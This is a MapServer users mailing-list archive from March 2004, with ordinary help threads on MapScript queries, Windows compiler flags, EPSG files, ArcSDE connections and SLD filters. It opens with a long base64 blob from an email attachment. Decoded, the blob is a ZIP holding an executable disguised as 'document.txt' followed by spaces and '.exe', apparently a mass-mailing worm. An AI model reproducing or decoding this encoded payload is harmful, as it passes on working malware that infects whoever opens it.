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 0nvkKc6250JZ0KgY0MUArHrJIf204NYzS6kNHSp6kt01sh3idEuPAAABAAIAICAQAAEABADo AgAAAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAzP//AGhXWAAA AAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNERERERERERERERFJSIiIjRERE REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD +Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M 1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2 bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb 5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP 7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAACOaX8wo4gd 3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA ------=_NextPart_000_0016----=_NextPart_000_0016-- From unicoletti at prometeo.it Wed Mar 31 05:31:37 2004 From: unicoletti at prometeo.it (Umberto Nicoletti) Date: 31 Mar 2004 15:31:37 +0200 Subject: [Mapserver-users] QueryByPoint using Java/MapScript returns no results Message-ID: <1080739896.4960.111.camel@friedrich> --=-CNm9JGPrzGoaZdAs9K6e Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi list, I am using Java mapscript to build a demo application using the itasca map. I have had some success zooming/panning, but now I am stuck with querying. I am running on Linux, with mapserver 4.0, java 1.4.1. This is the code snippet that performs the query: private void queryLayer(int i, pointObj queryPoint) { layerObj layer=map.getLayer(i); if (layer!=null && isVisible(layer) ) { if ( layer.open() == mapscript.MS_SUCCESS ) { if (log.isDebugEnabled()) { log.debug("Querying layer: "+layer.getName()); } if ( layer.queryByPoint(map,queryPoint,mapscript.MS_MULTIPLE,0) == mapscript.MS_SUCCESS ) { resultCacheObj resultCache = layer.getResultcache(); for (int j=0;j References: <4B1A1EC0790F054193453C48725D431829FA20@MSGBE1V1.seat.it> Message-ID: <406AD3E9.401@webgis.de> Hi Yvain, i succeeded compiling mapserver-4.0.1 with the /MD switch and following libs: - freetype-2.1.7 - curl-7.11.1 - gd-2.0.21gif - gdal-1.2.0 - pthreads - lpng124 - regex-0.12 - proj-4.4.5 mapserver Makefile.vc: OPTFLAGS = /MD /Zi /nologo $(WARNING_LEVEL) BASE_CFLAGS = $(OPTFLAGS) -DWIN32 -D_WIN32 LDFLAGS = /NODEFAULTLIB:libc winmm.lib I had(?) to add the winmm.lib because of an unresolved symbol timeGetTime used in libcurl (in the libcurl vc-project this lib is also added as an extra lib), after that everything worked. I could as well build python-mapscript. To your question: I haven't changed anything in the makefile or nmake.opt besides the switch. Are you using proj4 stuff in gdal directly (i didn't)? If so, how did you compile that? Cheers, M Ballini Yvain schrieb: > What is strange is that I get your unresolved symbol but precisly if I try to compile gdal-1.2.0 in /MT and with NODEFAULTLIB: libcmt: > > Creating library gdal_i.lib and object gdal_i.exp > ogr.lib(ogrct.obj) : error LNK2019: unresolved external symbol __HUGE referenced in function "public: virtual int __thiscall OGRProj4CT::TransformEx(int,double *,double *,double *,int *)" (?TransformEx at OGRProj4CT@@UAEHHPAN00PAH at Z) > gdal12.dll : fatal error LNK1120: 1 unresolved externals > > I get this error with the following options in the makefile of gdal-1.2.0: > OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) > LINKER_FLAGS = /NODEFAULTLIB:libcmt /DEBUG > > How did you compile gdal-1.2.0 in /MT, have you changed something else in the source, or have you set other options? > > Thanks. > Yvain. > > > -----Messaggio originale----- > Da: Michael Schulz [mailto:mschulz at webgis.de] > Inviato: mercoled? 31 marzo 2004 9.35 > A: Ballini Yvain > Cc: mapserver-users at lists.gis.umn.edu > Oggetto: Re: [Mapserver-users] Compiling mapserver with gdal > > Hi, > > i am also at the moment trying to compile mapserver-4.0.1 with VC7 and current versions of gd (2.0.21), gdal (1.2.0) ... > > I changed all support libraries to compile with the /MT switch and succeeded in building gdal with that option. But building mapserver didn't work, there were some unresolved external symbols, e.g. __HUGE. > Now i am starting over with the /MD flag. > > Could someone give some advice which compiler flag should be used or is "better" suited for the needs of mapserver on windows? And could someone confirm that it is necessary to have all libs compiled with the same flags? > > Thanks, Michael > > > Ballini Yvain schrieb: > > >> >>Hi List, >> >>I'm looking for a version of gdal which can be compiled with the >>static multithread option (switch /MT in the makefile.vc). >>Indeed, I've compiled mapserver 4.0 (with VC7 on XP) like this, and >>the current version I've downloaded for gdal (gdal-1.2.0) seems not to >>be compilable with the compiler options that I still have used for >>compiling mapserver and other utilities: >>OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) >>LDFLAGS = /NODEFAULTLIB:libc /DEBUG >>Has someone any idea or any gdal source version which is still >>compilable with these options...? >> >>Thanks a lot. >>Regards. >> >>Yvain Ballini. >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- > ----------------------------------------------------------- > Michael Schulz in medias res > Dipl.-Geologe Gesellschaft f?r > Informationstechnologie mbH > In den Weihermatten 66 > 79108 Freiburg > 0761 55695-95 (Fax 96) > mschulz at webgis.de www.webgis.de/www.zopecms.de > > > > -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From nacional at cbs.umn.edu Wed Mar 31 06:34:54 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Wed, 31 Mar 2004 08:34:54 -0600 (CST) Subject: [Mapserver-users] mapserver under win2K In-Reply-To: <001c01c416ec$3a44d920$0200000a@orion> References: <001c01c416ec$3a44d920$0200000a@orion> Message-ID: Did you add it in your user path or in the system path? You have to add it in the system path or your web server won't find it. You can always copy the dll's to your system directory (c:\winnt\system32). -Perry On Wed, 31 Mar 2004, Johan Duflost wrote: > > Hi all, > > I've installed mapserver 3.6.7 on windows 2000 following the instructions in the readme file but when I run mapserv.exe -v in a dos prompt, I get an error concerning the zlib.dll library. I added the lib directory in the path. What's the problem ? > > Thank you in advance, > > Johan Duflost > > Johan Duflost > Analyst Programmer > Belgian Biodiversity Information Facility (BeBIF) > Universite Libre de Bruxelles (ULB) > Boulevard du Triomphe - campus de la plaine > B-1050 Bruxelles > http://gis.bebif.be > From warmerdam at pobox.com Wed Mar 31 06:38:46 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 31 Mar 2004 09:38:46 -0500 Subject: [Mapserver-users] GDAL Can't read JPEG files In-Reply-To: <1080708613.3381.866.camel@olympus.satshot.com> References: <1080708613.3381.866.camel@olympus.satshot.com> Message-ID: <406AD7F6.9060503@pobox.com> Sean Kleinjung wrote: > I went to terraserver and manually downloaded a map .jpeg, and ran > gdalinfo on it. This gave me the following error: > > --------------------------------------------------------------------- > # ./gdalinfo test.jpg > ERROR 4: `test.jpg' not recognised as a supported file format. > > GDALOpen failed - 4 > `test.jpg' not recognised as a supported file format. > --------------------------------------------------------------------- > > Interestingly, .jpg is the output format I am using for my maps, and the > above error is also displayed if I run gdalinfo on a .jpg that mapserver > itself created. Sean, Can you provide me an example jpeg your gdalinfo can't read? What platform are you on? I imagine this is a build configuration issue since people use jpeg all the time with GDAL. Also, I don't support GDAL 1.1.9 anymore. > PS: Kind of off-topic, but I'm not really sure where this kind of thing > should go. When I was poking around in the source, I noticed an error > message that was a bit misleading. It looks like it was copied and > pasted from the one above it. I suggest applying the attached diff to > the 1.109 revision of mapraster.c to clarify this. I have patched this in CVS. Thanks, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From nacional at cbs.umn.edu Wed Mar 31 06:48:06 2004 From: nacional at cbs.umn.edu (Pericles Nacionales) Date: Wed, 31 Mar 2004 08:48:06 -0600 (CST) Subject: [Mapserver-users] epsg error ! help me ! In-Reply-To: References: Message-ID: Copy the epsg file from your ms4w directory to your proj directory (don't forget to rename the original) and it should work. The message tells you that the projection you're trying to use isn't defined in the epsg file. By default, proj looks for the epsg file under c:\proj\nad. So, by copying the epsg file from your ms4w directory to c:\proj\nad, your application should now work. Alternative, you can create a new system variable called "PROJ_LIB" and point it to your ms4w epsg directory. If you want to confirm that you don't have the projection definition on one of those epsg files. Open them using a text editor (they're just text files) and search for your epsg code. You can also just append this messing definition to your default epsg file. I hope that helps. -Perry On Wed, 31 Mar 2004, Dharani Babu wrote: > Hi all > I am using both ms4w package and also IIS version of the map server . I > found a rather strange problem . I am working with examples on the map > server tutorial to know deep about the way CGI variables work ... > I am trying to render a simple shape file layer by passing the CGI variable > from url without template html > http://localhost/cgi-bin/mapserv_40.exe?map=C:/ms4w/Apache/htdocs/demof/example1-1.map&mode=map > in the ms4w apache package and also in IIS based package like this > http://localhost/cgi-bin/mapserv_40.exe?map=C:/Inetpub/wwwroot/iisdemo/example1-1.map&mode=map > > But I got the following errors in ms4w package trials ... > > msProcessProjection(): Projection library error. no options found in 'init' > file > and the following in IIS based trails > msProcessProjection(): init:epsg:4376 error .. > why so ? I checked the C:/ms4w/proj/epsg and found the line 4376 ...the same > I found at > C:/proj for IIS...but both the file sizes differ ( ms4w epsg file size is > around 190 kb whereas file size of C:/Proj of IIS version is 300kb ) and but > still I dont know why I have this error ... > This is the map file used in example 1 ... > MAP > IMAGETYPE PNG > EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "data1/data" > IMAGECOLOR 255 255 255 > > PROJECTION > #"proj=laea" > # "ellps=clrk66" > # "lat_0=45" > # "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS --------------------------------------------- > LAYER # States polygon layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE POLYGON > > PROJECTION > "init=epsg:4376" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS ------------------------------- > > END # end of map file/object > > Any help will be appreciated . I am not able to proceed further .. > With regards and thanks in advance > Dharani Babu S > > _________________________________________________________________ > Easiest Money Transfer to India. Send Money To 6000 Indian Towns. > http://go.msnserver.com/IN/42198.asp Easiest Way To Send Money Home! > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From norbert.thieme at ilmenau.baw.de Wed Mar 31 06:49:23 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Wed, 31 Mar 2004 16:49:23 +0200 Subject: [Mapserver-users] Problem with SDE connection Message-ID: <406ADA73.70807@ilmenau.baw.de> Hi! I'm setting up a Mapserver (version 4.0.1), that should use ESRI's ArcSDE as data source. The Mapserver is running under SuSE Linux 8 and ArcSDE is running on Informix under HP UX. Because I couldn't find a SDE Client for SuSE Linux and Informix on the SDE Install CD, I compiled the Mapserver with the RedHat - Oracle version. Can someone please tell me if this is a possible way? If not, do anybody know a SDE Client for my configuration or is there another way to get that running? - If this is definitely the wrong way you can stop reading here. Everything is running fine apart from the results of the SDE Connection. I set up a simple mapfile with only one Layer with a SDE Connection (please see below). In this mapfile I tried different alternatives for the connection because I was not sure how the parameters have to look like in detail. The result from this was in all the cases a blank map (empty picture) and there is no error message. If the reason for the blank map comes not from the wrong client, how can I check where something is wrong. Is there a way to check for example the connection to the SDE or to get some kind of error message to determine the problem? My mapfile: MAP IMAGETYPE PNG STATUS ON SIZE 400 400 EXTENT 3250470.029539 5221162.578925 3942023.41747 6113902.660721 UNITS METERS TRANSPARENT ON #SHAPEPATH "Daten" IMAGECOLOR 255 255 255 PROJECTION "init=epsg:31467" END WEB MINSCALE 100 MAXSCALE 8200000 IMAGEPATH '/srv/www/htdocs/mapserv_tmp/' IMAGEURL '/mapserv_tmp/' LOG '/srv/www/htdocs/anw1/mapserv_log.log' END LAYER NAME "Kreise" DATA "sde.rl_vg250_kreis,shape" METADATA LYRNAME "Kreis" END DEBUG ON CONNECTIONTYPE SDE #CONNECTION "wagis.ilmenau.baw.de,ol_wagisimp,wagisimp,usrID,usrPwd" #CONNECTION "wagis.ilmenau.baw.de:5150,ol_wagisimp,wagisimp,usrID,usrPwd" #CONNECTION "wagis.ilmenau.baw.de,port:5150,wagisimp,usrID,usrPwd" #CONNECTION "wagis.ilmenau.baw.de,5150,wagisimp,usrID,usrPwd" CONNECTION "wagis,5150,wagisimp,usrID,usrPwd" STATUS ON TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 230 230 230 OUTLINECOLOR 220 180 180 END END END Thanks in advance Norbert Thieme ----------------------------------------------------------------------------- Bundesanstalt f?r Wasserbau * FIT Ilmenau * Referat IT2 Am Ehrenberg 8 * 98693 Ilmenau * Germany ----------------------------------------------------------------------------- From warmerdam at pobox.com Wed Mar 31 07:42:17 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 31 Mar 2004 10:42:17 -0500 Subject: R: [Mapserver-users] Compiling mapserver with gdal In-Reply-To: <4B1A1EC0790F054193453C48725D431829FA21@MSGBE1V1.seat.it> References: <4B1A1EC0790F054193453C48725D431829FA21@MSGBE1V1.seat.it> Message-ID: <406AE6D9.3000701@pobox.com> Ballini Yvain wrote: > I've set: > > OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) > LINKER_FLAGS = /NODEFAULTLIB:libcmt /DEBUG and it gives me: > > Creating library gdal_i.lib and object gdal_i.exp > ogr.lib(ogrct.obj) : error LNK2019: unresolved external symbol __HUGE referenced in function "public: virtual int __thiscall OGRProj4CT::TransformEx(int,double *,double *,double *,int *)" (?TransformEx at OGRProj4CT@@UAEHHPAN00PAH at Z) > gdal12.dll : fatal error LNK1120: 1 unresolved externals > > If set only > OPTFLAGS= /nologo /Ox /MT $(WARNING_LEVEL) $(DEBUG) > it gives me a lot of runtime libraries conflicts > > LIBCMT.lib(dosmap.obj) : error LNK2005: __errno already defined in MSVCRT.lib(MSVCR71.dll) > ---------- > MSVCRT.lib(MSVCR71.dll) : warning LNK4006: __stricmp already defined in LIBCMT.lib(stricmp.obj); second definition ignored > MSVCRT.lib(MSVCR71.dll) : warning LNK4006: __strnicmp already defined in LIBCMT.lib(strnicmp.obj); second definition ignored > MSVCRT.lib(MSVCR71.dll) : warning LNK4006: __strdup already defined in LIBCMT.lib(strdup.obj); second definition ignored > Creating library gdal_i.lib and object gdal_i.exp > LINK : warning LNK4098: defaultlib 'MSVCRT' conflicts with use of other libs; use /NODEFAULTLIB:library > LINK : warning LNK4098: defaultlib 'LIBCMT' conflicts with use of other libs; use /NODEFAULTLIB:library > LIBCMT.lib(crt0.obj) : error LNK2019: unresolved external symbol _main referenced in function _mainCRTStartup > gdal12.dll : fatal error LNK1120: 1 unresolved externals Yvain and others, I have done a test build of GDAL with /MT (and no /NODEFAULT:libcmt) and it seems to work just fine for me. I haven't tried to build MapServer because it seems like it might be a big job compiling all the other MapServer components (libcurl, gd, etc) with /MT. I presume you are using /NODEFAULTLIB:libcmt with MapServer when you get the missing function stuff? Well, you can't ... the run runtime library is needed! I would imagine you are getting lots of conflicts when you let libcmt get included because some of the other components (or possily mapserver itself) is not being compiled with /MT. You will have to dig through the makefiles for those packages to deal with that problem. For now I am going to assume folks issues with /MT and MapServer have nothing to do with GDAL and are really just a failure to get all packages in the same mode. I will try to skim this thread but for if you need to get my attention again do something direct (like email me directly with a new title). Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From joost.maus at geodan.nl Wed Mar 31 07:47:11 2004 From: joost.maus at geodan.nl (Joost Maus) Date: Wed, 31 Mar 2004 17:47:11 +0200 Subject: [Mapserver-users] SLD's & Filters Message-ID: <406AE7FF.86E4231B@geodan.nl> Hi, I am trying to implement two rules into a SLD. The following rule works fine: http://213.197.234.122:8081/cgi-bin/mapserv40/sld_filter_box_admin.xml But when I include another (similar) rule with different lower&upper boundary values, the Mapserver is not able to process it: http://213.197.234.122:8081/cgi-bin/mapserv40/sld_filter_box_admin2.xml complete urls: http://213.197.234.122:8081/cgi-bin/mapserv40/mapserv.exe?map=..\cgi-bin\mapserv40\ANWB.map&xmin=53410.419913&ymin=426471.12002&xmax=117001.78&ymax=452588.87996&request=map&layers=geostreets,kpxy,kpxysel&bbox=68000,420000,108000,460000&version=1.1.0&format=png24&width=500&height=500&SLD=http://213.197.234.122:8081/cgi-bin/mapserv40/sld_filter_box_admin.xml http://213.197.234.122:8081/cgi-bin/mapserv40/mapserv.exe?map=..\cgi-bin\mapserv40\ANWB.map&xmin=53410.419913&ymin=426471.12002&xmax=117001.78&ymax=452588.87996&request=map&layers=geostreets,kpxy,kpxysel&bbox=68000,420000,108000,460000&version=1.1.0&format=png24&width=500&height=500&SLD=http://213.197.234.122:8081/cgi-bin/mapserv40/sld_filter_box_admin2.xml Is there a limitation concerning the number of filters? greetings, Joost -- ------------------------------------------------------------ Geodan IT b.v. President Kennedylaan 1 1079 MB Amsterdam (NL) ------------------------------------------------------------ Tel: +31 (0)20 - 5711 311 Fax: +31 (0)20 - 5711 333 ------------------------------------------------------------ E-mail: joost.maus at geodan.nl Website: www.geodan.nl Disclaimer: www.geodan.nl/disclaimer ------------------------------------------------------------ From admin at essc.org.ph Wed Mar 31 07:49:04 2004 From: admin at essc.org.ph (ESSC Admin) Date: Wed, 31 Mar 2004 23:49:04 +0800 Subject: [Mapserver-users] mapserv compiling error Message-ID: <002201c41737$b2c2af80$0300000a@desktop> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C4177A.BFD62D30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Unfortunately, no. It is a paid webhosting. You can see the server's = info here: http://gemini.fast-servers.net/phpinfo.php Any help or suggestions is greatly appeciated. Thanks. >To: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] mapserv compiling error >From: Tyler Mitchell >Date: Mon, 29 Mar 2004 10:12:14 -0800 > >Is this a web server that you are managing? >Can you tell us what operating system/version it is running? > >Tyler > > > When running ./configure on my remote webserver, these errors = appear: ------=_NextPart_000_001F_01C4177A.BFD62D30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Unfortunately, no. It is a paid = webhosting. You can=20 see the server's info here: http://gemini.fast-se= rvers.net/phpinfo.php
 
Any help or suggestions is greatly = appeciated.=20 Thanks.
 
 
>To:=20 mapserver-users at lists.gis.umn.edu
>Subject: Re: [Mapserver-users] = mapserv=20 compiling error
>From: Tyler Mitchell <TMitchell at lignum.com>
>Date: Mon, 29 Mar 2004 10:12:14 -0800
>
>Is this a web server that you are = managing?
>Can=20 you tell us what operating system/version it is running?
>
>Tyler
>
>=20 > When running ./configure on my remote webserver, these errors=20 appear:
